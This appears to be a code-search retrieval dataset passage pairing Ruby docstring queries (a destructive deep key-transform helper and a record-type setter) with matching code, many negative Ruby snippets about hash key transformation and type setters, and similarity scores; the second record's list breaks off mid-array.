Same as _deep_transform_keys_in_object, but destructively alters the original Object.
|
def _deep_transform_keys_in_object!(object, &block)
case object
when Hash
object.keys.each do |key|
value = object.delete(key)
object[yield(key)] = _deep_transform_keys_in_object!(value, &block)
end
object
when Array
object.map! { |e| _deep_transform_keys_in_object!(e, &block) }
else
object
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _deep_transform_keys_in_object!(object, &block)\n case object\n when Hash\n object.keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = _deep_transform_keys_in_object!(value, &block)\n end\n object\n when Array\n object.map! {|e| _deep_transform_keys_in_object!(e, &block)}\n else\n object\n end\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(object, &block)\n case object\n when Hash\n keys = object.keys\n keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = deep_transform_keys!(value, &block)\n end\n object\n when Array\n object.map! { |e| deep_transform_keys!(e, &block) }\n else\n object\n end\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object(self.class.new) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def deep_transform_keys(&block)\n _deep_transform_keys_in_object(self, &block)\n end",
"def deep_transform_keys(&block)\n _deep_transform_keys_in_object(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object(self.class.new) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n if object.class <= ::Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n elsif object.class <= ::Array\n object.map {|e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map {|e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def deep_transform_keys!(&block); end",
"def recursively_transform_keys(&block)\n _recursively_transform_keys_in_object(self, &block)\n end",
"def symbolize_keys_recursively!(object); end",
"def deep_transform_keys!(hash, &block)\n _deep_transform_keys_in_object!(hash, &block)\n end",
"def deep_transform_keys(&block); end",
"def deep_transform_keys! &block\n keys.each do |key|\n value = delete(key)\n\n self[yield(key)] = case value\n when Hash\n value.deep_transform_keys!(&block)\n when Array\n value.each{ |e| e.deep_transform_keys!(&block) rescue value }\n else\n value\n end\n end\n self\n end",
"def symbolize_keys!(object)\n if object.is_a?(Array)\n object.each_with_index { |val, index| object[index] = symbolize_keys!(val) }\n elsif object.is_a?(Hash)\n object.keys.each { |key| object[key.to_sym] = symbolize_keys!(object.delete(key)) }\n end\n object\n end",
"def stringify_keys_recursively!(object); end",
"def deep_transform_keys!(&block)\n keys.each do |key|\n value = delete(key)\n self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value\n end\n self\n end",
"def deep_transform_keys!(&block)\n keys.each do |key|\n value = delete(key)\n self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value\n end\n self\n end",
"def deeply_symbolize_keys(obj)\n deep_key_symbolizer.call( obj )\n end",
"def deep_transform_keys!(&block)\n @parameters.deep_transform_keys!(&block)\n self\n end",
"def deeply_stringify_keys(obj)\n deep_key_stringifier.call( obj )\n end",
"def normalize(obj)\n if obj.is_a?(Hash)\n obj.inject({}) { |h, (k, v)| normalize_hash(h, k, v); h }\n else\n obj\n end\n end",
"def _hash(obj)\n obj.transform_values { |v| _renc(v) }\n end",
"def deconstruct_keys(keys)\n if @base_object.respond_to?(:deconstruct_keys)\n @base_object\n .deconstruct_keys(keys)\n .transform_values!(&NEW_DIVE)\n else\n keys.to_h { |k| @base_object.public_send(k).then { |v| [k, NEW_DIVE[v]] } }\n end\n end",
"def normalize object\n tools = ::SleepingKingStudios::Tools::ObjectTools\n\n tools.deep_dup(object)\n end",
"def deep_transform_values!(&block)\n _deep_transform_values_in_object!(self, &block)\n end",
"def symbolize_hash_keys(object)\n symbolize_proc = proc(&:to_sym)\n apply_key_mutator(object, symbolize_proc)\n end",
"def downcase_keys_recursively!(object)\n if self.class === object\n object.downcase_keys!\n elsif ::Array === object\n object.each do |i|\n downcase_keys_recursively!(i)\n end\n object\n elsif object.respond_to?(:downcase_keys!)\n object.downcase_keys!\n else\n object\n end\n end",
"def deep_copy(old_object)\n new_object = {}\n old_object.each do |key, value|\n new_object[key] = value\n end\n new_object\n end",
"def _deep_transform_values_in_object(object, &block)\n case object\n when Hash\n object.transform_values { |value| _deep_transform_values_in_object(value, &block) }\n when Array\n object.map { |e| _deep_transform_values_in_object(e, &block) }\n else\n yield(object)\n end\n end",
"def transform_keys!\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def _deep_transform_values_in_object(object, &block)\n case object\n when Hash\n object.transform_values { |value| _deep_transform_values_in_object(value, &block) }\n when Array\n object.map { |e| _deep_transform_values_in_object(e, &block) }\n else\n yield(object)\n end\n end",
"def transform_keys!(hash)\n return enum_for(:transform_keys!, hash) unless block_given?\n hash.keys.each do |key|\n hash[yield(key)] = hash.delete(key)\n end\n hash\n end",
"def transform_keys!(&block); end",
"def recursively_symbolize_keys!(modify_nested_arrays = false)\n replace recursively_symbolize_keys(modify_nested_arrays)\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_compact_in_object(object)\n case object\n when Hash\n object = object.compact.transform_values do |value|\n deep_compact_in_object(value)\n end\n object.empty? ? nil : object.compact\n when Array\n object.map { |item| deep_compact_in_object(item) }\n else\n object\n end\n end",
"def deep_stringify_keys!\n deep_transform_keys!{ |key| key.to_s }\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def transform_keys\n { a: 1, b: 2 }.transform_keys { |key| key_map[key] || key }\n end",
"def deep_stringify_keys!\n deep_transform_keys! { |key| key.to_s }\n end",
"def deep_transform_keys(&block)\n result = {}\n each do |key, value|\n result[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys(&block) : value\n end\n result\n end",
"def transform_keys(&block); end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def rekey(o, &block)\n\n case o\n when Hash; o.remap { |(k, v), h| h[block.call(k)] = rekey(v, &block) }\n when Array; o.collect { |e| rekey(e, &block) }\n when Symbol; o.to_s\n else o\n end\n end",
"def symbolize_keys_deep!(h)\n h.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n h[ks] = h.delete k # Preserve order even when k == ks\n symbolize_keys_deep! h[ks] if h[ks].kind_of? Hash\n end\n end",
"def symbolize_keys(hash)\r\n target = hash.dup\r\n\r\n target.keys.each do |key|\r\n value = target.delete(key)\r\n if value.is_a? Hash\r\n value = symbolize_keys(value)\r\n end\r\n target[(key.to_sym rescue key) || key] = value\r\n end\r\n\r\n target\r\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def symbolize_keys!\n self.replace(self.symbolize_keys)\n end",
"def deep_transform &block\n\n\t\tDeepTransform.do_deep_transform_on_hashlike_(self, &block)\n\tend",
"def symbolize_keys!\n replace(self.symbolize_keys)\n end",
"def map_derivative(object, path = [], transform_keys: :to_sym, leaf: nil, &block)\n return enum_for(__method__, object) unless block_given?\n\n if leaf && leaf.call(object)\n yield path, object\n elsif object.is_a?(Hash)\n object.inject({}) do |hash, (key, value)|\n key = key.send(transform_keys)\n\n hash.merge! key => map_derivative(\n value, [*path, key],\n transform_keys: transform_keys, leaf: leaf,\n &block\n )\n end\n elsif object.is_a?(Array)\n object.map.with_index do |value, idx|\n map_derivative(\n value, [*path, idx],\n transform_keys: transform_keys, leaf: leaf,\n &block\n )\n end\n else\n yield path, object\n end\n end",
"def recursive_hash_normalize_keys val\n if val.is_a? Hash\n deep_hash_normalize val\n else\n val\n end\n end",
"def modify_keys\n each_with_object self.class.new do |hash_pair, hsh|\n hsh[ yield( hash_pair ) ] = self[ hash_pair[0] ]\n end\n end",
"def transform_hash(obj)\n if obj.is_a?(Array)\n obj.map { |m| transform_hash(m) }\n elsif obj.is_a?(Hash)\n obj.each do | k, v |\n if v.class == Time\n t = v.strftime(\"%FT%T\")\n if v.nsec > 0\n t << v.strftime(\".%3N\")\n end\n t << (v.utc? ? 'Z' : v.strftime(\"%:z\"))\n\n obj[k] = t\n else\n obj[k] = transform_hash(v)\n end\n end\n end\n\n obj\n end",
"def symbolize_keys!\n replace symbolize_keys\n end",
"def create_deep_copy(object)\n if object.is_a?(Array)\n return object.map { |e| create_deep_copy e }\n elsif object.is_a?(Hash)\n return {}.tap { |out| object.each { |k, v| out[create_deep_copy(k)] = create_deep_copy(v) unless k == :Parent } }\n elsif object.is_a?(String)\n return object.dup\n else\n return object # objects that aren't Strings, Arrays or Hashes (such as Symbols and Integers) won't be edited inplace.\n end\n end",
"def deep_copy(obj)\n if obj.is_a?(Hash)\n obj.inject({}) { |h, kv| h.merge(kv[0] => deep_copy(kv[1])) }\n elsif obj.is_a?(Array)\n obj.map { |el| deep_copy(el) }\n else\n obj\n end\n end",
"def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"def __deep_copy__\n self.class.new(aliases, serializers, associations, aliased_associations) do |copy|\n each_pair do |key, value|\n copy.merge!(key => value.__deep_copy__)\n end\n end\n end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def deep_replace(obj, key, attr_type, attr_description, skip_attribute)\n if obj.respond_to?(:key?) && obj.key?(key)\n obj[key][:attr_type] = attr_type\n obj[key][:attr_description] = attr_description\n obj[key][:skip_attribute] = skip_attribute\n end\n\n if obj.is_a? Hash\n obj.map do |k, v|\n obj[k] = deep_replace(v, key, attr_type, attr_description, skip_attribute)\n end\n elsif obj.is_a? Array\n obj.each_with_index do |o, i|\n obj[i] = deep_replace(o, key, attr_type, attr_description, skip_attribute)\n end\n end\n return obj\n end",
"def symbolize_keys!\r\n self.replace(self.symbolize_keys)\r\n end",
"def stringify_keys(object)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[key.to_s] = stringify_keys(value)\n end\n when Array\n object.map { |e| stringify_keys(e) }\n else\n object\n end\n end",
"def deep_stringify_keys(hash)\n transform_hash(hash, :deep => true) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def deep_copy( obj )\n\n\t\t\t# Handle mocks during testing\n\t\t\treturn obj if obj.class.name == 'RSpec::Mocks::Mock'\n\n\t\t\treturn case obj\n\t\t\t\twhen NilClass, Numeric, TrueClass, FalseClass, Symbol,\n\t\t\t\t Module, Encoding, IO, Tempfile\n\t\t\t\t\tobj\n\n\t\t\t\twhen Array\n\t\t\t\t\tobj.map {|o| deep_copy(o) }\n\n\t\t\t\twhen Hash\n\t\t\t\t\tnewhash = {}\n\t\t\t\t\tnewhash.default_proc = obj.default_proc if obj.default_proc\n\t\t\t\t\tobj.each do |k,v|\n\t\t\t\t\t\tnewhash[ deep_copy(k) ] = deep_copy( v )\n\t\t\t\t\tend\n\t\t\t\t\tnewhash\n\n\t\t\t\telse\n\t\t\t\t\tobj.clone\n\t\t\t\tend\n\t\tend",
"def deep_stringify_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_s }\n end",
"def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"def normalize object\n return {} if object.nil?\n\n hsh = {}\n\n attribute_names.each do |attr_name|\n hsh[attr_name] = object.send(attr_name)\n end # each\n\n hsh\n end",
"def deep_transform_keys(hash, &block)\n result = {}\n hash.each do |key, value|\n result[yield(key)] = value.is_a?(Hash) ? deep_transform_keys(value, &block) : value\n end if hash\n result\n end",
"def deep_stringify_keys(hash)\n hash.each_with_object({}) do |(key, value), new_hash|\n new_hash[key.to_s] = (value.respond_to?(:to_hash) ? deep_stringify_keys(value) : value)\n end\n end",
"def normalize_keys(hash, method = :to_s)\n hash = hash.dup\n hash.keys.each do |k|\n normalized_key = k.respond_to?(method) ? k.send(method) : k\n hash[normalized_key] = hash.delete(k)\n end\n hash\n end",
"def keys_to_sym(obj)\n case obj\n when Array\n obj.each do |v|\n keys_to_sym(v)\n end\n when Hash\n obj.keys.each do |k|\n if k.class == String\n obj[k.downcase.to_sym] = keys_to_sym(obj.delete(k))\n end\n end\n end\n return obj\n end",
"def convert_keys_to_symbols_recursive(obj)\n if obj.is_a?(Hash)\n if var_name = mangled_mustache_variable?(obj)\n return \"{{#{var_name}}}\"\n end\n obj.keys.inject({}) do |h, k| \n # Complication due to fact that keys can be misformed, such as due to yaml parsing of form port: {{port}}\n if k.respond_to?(:to_sym)\n h.merge(k.to_sym => convert_keys_to_symbols_recursive(obj[k]))\n else\n Log.error_pp([\"Unexpected hash key:\",k])\n h.merge(k => convert_keys_to_symbols_recursive(obj[k]))\n end\n end\n elsif obj.is_a?(Array)\n obj.map { |el| convert_keys_to_symbols_recursive(el) }\n else\n obj\n end\n end",
"def deep_copy(obj); end"
] |
[
"0.78892326",
"0.77043843",
"0.77043843",
"0.77043843",
"0.77043843",
"0.76552725",
"0.75506014",
"0.75368303",
"0.7516592",
"0.7516592",
"0.7516585",
"0.74636364",
"0.7456295",
"0.7442446",
"0.7335532",
"0.73181593",
"0.73181593",
"0.72149193",
"0.7202065",
"0.71459836",
"0.7017523",
"0.7008353",
"0.68379855",
"0.6677994",
"0.6626184",
"0.6605978",
"0.6605978",
"0.65493387",
"0.64882845",
"0.6455489",
"0.6357857",
"0.63295406",
"0.62196624",
"0.6215556",
"0.61962545",
"0.61940897",
"0.6192703",
"0.61859715",
"0.6182328",
"0.6159702",
"0.608509",
"0.6049165",
"0.60329217",
"0.60322833",
"0.59538954",
"0.59526366",
"0.5952403",
"0.5952403",
"0.5913366",
"0.5913366",
"0.5913366",
"0.58859116",
"0.58754605",
"0.5860898",
"0.5860898",
"0.5860898",
"0.58579177",
"0.58274823",
"0.5815903",
"0.5765483",
"0.5763312",
"0.57607365",
"0.57607365",
"0.575902",
"0.57526004",
"0.57342327",
"0.5733841",
"0.57154846",
"0.57154846",
"0.57154846",
"0.57154846",
"0.57154846",
"0.57154846",
"0.5712783",
"0.56963843",
"0.56961346",
"0.5689868",
"0.56860375",
"0.5685889",
"0.5661261",
"0.5635588",
"0.5622092",
"0.5621363",
"0.5615378",
"0.5614837",
"0.5614837",
"0.56046",
"0.56031704",
"0.55631727",
"0.55435276",
"0.5543267",
"0.5536191",
"0.55078346",
"0.55076236",
"0.55015904",
"0.5480363",
"0.5471291",
"0.546918",
"0.5461761",
"0.54514754"
] |
0.7855041
|
1
|
Set type of the record class.
|
def set_type(name)
@type = name
ProcessRecord::TYPE_TABLE[name] = self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_type(val)\n self.type = val\n self\n end",
"def record_type(t)\n @type = t\n end",
"def class_type=(value)\n\t\tself[:type] = value\n\tend",
"def set_type(v)\n self.type = v\n self\n end",
"def set_type\n end",
"def record_type=(record_type)\n validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\"])\n unless validator.valid?(record_type)\n fail ArgumentError, \"invalid value for 'record_type', must be one of #{validator.allowable_values}.\"\n end\n @record_type = record_type\n end",
"def type(val); @type = val; self; end",
"def type=(type)\n write_attr :type, type\n end",
"def type=(type)\n self['type'] = type\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(type)\n @type = type\n end",
"def type=(type)\n @type = type\n end",
"def type=(type)\n @@type = type\n end",
"def type=(type)\n validate_type_values(type)\n @type = type\n end",
"def type=(type)\n @type = type\n end",
"def type=(new_type)\n @type = new_type.to_sym\n end",
"def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n write_attr :type, type\n end",
"def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n write_attr :type, type\n end",
"def set_instance_type( type )\n raise \"type must be type #{type}\" unless type.is_a?(Type)\n self.instance_type = type\n end",
"def set_instance_type( type )\n raise \"type must be type #{type}\" unless type.is_a?(Type)\n self.instance_type = type\n end",
"def type=(type)\n @type = type.to_sym\n end",
"def set_type(qualified_name, type)\n @types[qualified_name] = type\n end",
"def type=(val)\n @type = val.to_sym\n end",
"def of_type(type)\n options[:type] = type\n self\n end",
"def set_instance_type( type )\n self.instance_type = type\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def type=(type); end",
"def type=(value)\n @type = value.to_sym\n end",
"def type=(type)\n Munson.register_type(type, self)\n munson.type = type\n end",
"def assign_type(content_type)\n self.type = self.class.class_type_from(content_type)\n end",
"def type=(type)\n @type = type\n\n setOption('type', @type)\n end",
"def set_type\n @type = Type.find(params[:id])\n end",
"def set_type\n @type = Type.find(params[:id])\n end",
"def set_type\n @type = Type.find(params[:id])\n end",
"def type=(type)\n allowed_values = [\"STRING\", \"BOOLEAN\", \"DECIMAL\", \"INTEGER\", \"DATE_TIME\", \"REFERENCE\", \"COMPLEX\"]\n if type && !allowed_values.include?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{allowed_values}.\"\n end\n @type = type\n end",
"def type=(type)\n type = type.intern\n super type\n end",
"def type=(new_type)\n self[:type_flags] = (flags | TYPES[new_type])\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Title', 'Body', 'CenteredTitle', 'Subtitle', 'DateAndTime', 'SlideNumber', 'Footer', 'Header', 'Object', 'Chart', 'Table', 'ClipArt', 'Diagram', 'Media', 'SlideImage', 'Picture'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def set_awon_record_type\n @awon_record_type = AwonRecordType.find(params[:id])\n end",
"def set_class_type\n @class_type = ClassType.find(params[:id])\n end",
"def set_subclass_type\n return if send(type_attribute)\n write_attribute(type_attribute, subclass_types.detect{|s| send(s)}.to_s.classify)\n end",
"def type= new_type\n frozen_check!\n @gapi.type = new_type\n end",
"def type= new_type\n frozen_check!\n @gapi.type = new_type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Shape', 'Chart', 'Table', 'PictureFrame', 'VideoFrame', 'AudioFrame', 'SmartArt', 'OleObjectFrame', 'GroupShape', 'GraphicalObject', 'Connector', 'SmartArtShape', 'ZoomFrame', 'SectionZoomFrame', 'SummaryZoomFrame', 'SummaryZoomSection'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def type_setter\n @type_setter ||= type.__setter__\n end",
"def set_type\n @type = Type.find(params[:id])\n\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['String', 'Number', 'Date'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def set_type\n raise Error::NotFoundError unless (@type = Type.find(params[:id]))\n end",
"def type=(val)\n\n dtype = val\n #return self if @chars_allowed # disallow changing\n # send in a regexp, we just save it.\n if dtype.is_a? Regexp \n @chars_allowed = dtype\n return self\n end\n dtype = dtype.to_s.downcase.to_sym if dtype.is_a? String\n case dtype # missing to_sym would have always failed due to to_s 2011-09-30 1.3.1\n when :integer, Integer\n @chars_allowed = /\\d/\n when :numeric, :float, Numeric, Float\n @chars_allowed = /[\\d\\.]/ \n when :alpha\n @chars_allowed = /[a-zA-Z]/ \n when :alnum\n @chars_allowed = /[a-zA-Z0-9]/ \n else\n raise ArgumentError, \"Field type: invalid datatype specified. Use :integer, :numeric, :float, :alpha, :alnum \"\n end\n self\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['string', 'number', 'boolean', 'date', 'address', 'country', 'email', 'url', 'image', 'signature', 'barcode', 'combined'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def field_type=(value)\n super(value.to_s)\n end",
"def type= (type)\n self.tweet_type = type\n end",
"def sql_type=(val)\n self['sql_type'] = val\n end",
"def set_type\n puts \"set_type: #{params[:id]}\"\n @type = Type.where(id: params[:id]).first\n puts \"set_type, find: #{@type.id}\"\n end",
"def type= new_type\n @gapi.update! type: verify_type(new_type)\n end",
"def data_type=(value)\n @data_type = value\n end",
"def nodetype=(val) @records.set(GRT_NODETYPE, val); end",
"def set_annotation_type(type)\n set(annotation_type: type)\n end",
"def type(type)\n opts[:type] = type\n end",
"def type=(type)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\" if type && !VALID_TYPES.include?(type.to_sym)\n super\n end",
"def type=(type)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\" if type && !VALID_TYPES.include?(type.to_sym)\n super\n end",
"def set_type(opts)\n opts = check_params(opts,[:types])\n super(opts)\n end",
"def type=(v)\n RestrictionValidator.validate :storage_type, TYPES.values, v\n @type = v\n end",
"def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n super\n end",
"def type value\n @settings[:type] = value\n return self\n end",
"def device_type=(s)\n self[:type] = s\n end",
"def set_type\n @type = Type.find(params[:id])\n end",
"def entity_type=(value)\n @entity_type = value\n end",
"def set_type\n new_type = [sport.name, \"Infrastructure\"].join('')\n\n begin\n new_type.constantize\n self.type = new_type\n rescue NameError\n self.type = nil\n end\n\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['digital', 'physical'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def type_name=(val)\n self['type_name'] = val\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def type=(name)\n self.entity_type = EntityType.find_or_create_by(name: name)\n end",
"def set_type sym, type\n @types[sym] = type\n end",
"def strclass=(val) @records.set(GRT_STRCLASS, val); end",
"def assign_type(content_type)\n self.type = MimeMapping.class_type_from(content_type).name\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"random\", \"hash\", \"client\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def set(name, type = :string)\n class_name = marshal_class_name(name, type)\n \n fields << {:name => name.to_s, :type => :set}\n class_eval \"def #{name}; @#{name} ||= SetProxy.new(self.store, field_key('#{name}'), Marshal::#{class_name}); end\"\n eval_writer(name)\n end",
"def changeType(newType)\n\t\t\t#remove accessors for old type\n\t\t\tremoveAccessors()\n\t\t\t@type = newType\n\n\t\t\t#produce accessors for the newly set type\n\t\t\tproduceAccessors()\n\t\tend",
"def type=(sObjType)\n return self if self.empty?\n @data[:object_type] = sObjType\n self\n end",
"def []=(content_type, klass); end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"NFS\", \"SMB\", \"iSCSI\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def type=(val)\n @type = val.to_sym if %w(UNSPECIFIED MEDIA MASTER).include? val.to_s\n end",
"def set_type\n if self.parent_id == nil\n self.type = \"Department\"\n else\n self.type = \"Entity\"\n end\n end",
"def device_type=(s)\n self[:type] = s\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def device_type=(s)\n self[:type] = s\n end",
"def type=(type)\n if !type.nil? && type.to_s.length > 100\n fail ArgumentError, 'invalid value for \"type\", the character length must be smaller than or equal to 100.'\n end\n @type = type\n end",
"def set_legal_record_type\n @legal_record_type = LegalRecordType.find(params[:id])\n end"
] |
[
"0.7840313",
"0.76835203",
"0.7612753",
"0.75990415",
"0.73978096",
"0.7242904",
"0.7220759",
"0.71676236",
"0.7134282",
"0.7063471",
"0.7063471",
"0.7063471",
"0.7063471",
"0.7063471",
"0.7063471",
"0.7063471",
"0.7057944",
"0.7048537",
"0.6989812",
"0.69888467",
"0.6975195",
"0.6969078",
"0.69649726",
"0.69443905",
"0.69074196",
"0.69074196",
"0.6809634",
"0.67989117",
"0.67774725",
"0.6773123",
"0.67536235",
"0.67448956",
"0.67448956",
"0.67448956",
"0.6732362",
"0.67197186",
"0.66848224",
"0.6546121",
"0.6545638",
"0.65423346",
"0.65423346",
"0.65423346",
"0.65417117",
"0.6539571",
"0.651031",
"0.6508222",
"0.65028465",
"0.6467939",
"0.64569235",
"0.645494",
"0.645494",
"0.64508694",
"0.64197695",
"0.6415659",
"0.641565",
"0.6370737",
"0.6365445",
"0.6345306",
"0.63227963",
"0.63116294",
"0.6303252",
"0.63008785",
"0.6295305",
"0.6294357",
"0.6292606",
"0.62516993",
"0.62499595",
"0.6240846",
"0.6240846",
"0.6232423",
"0.6231905",
"0.6212815",
"0.6202719",
"0.61992055",
"0.6192898",
"0.61621696",
"0.6161136",
"0.6151704",
"0.6150622",
"0.61478853",
"0.61478853",
"0.61478007",
"0.6139267",
"0.6138769",
"0.6131361",
"0.6125815",
"0.61197007",
"0.6115583",
"0.6114967",
"0.61061364",
"0.60944897",
"0.6092005",
"0.6083193",
"0.6082651",
"0.60725635",
"0.60641944",
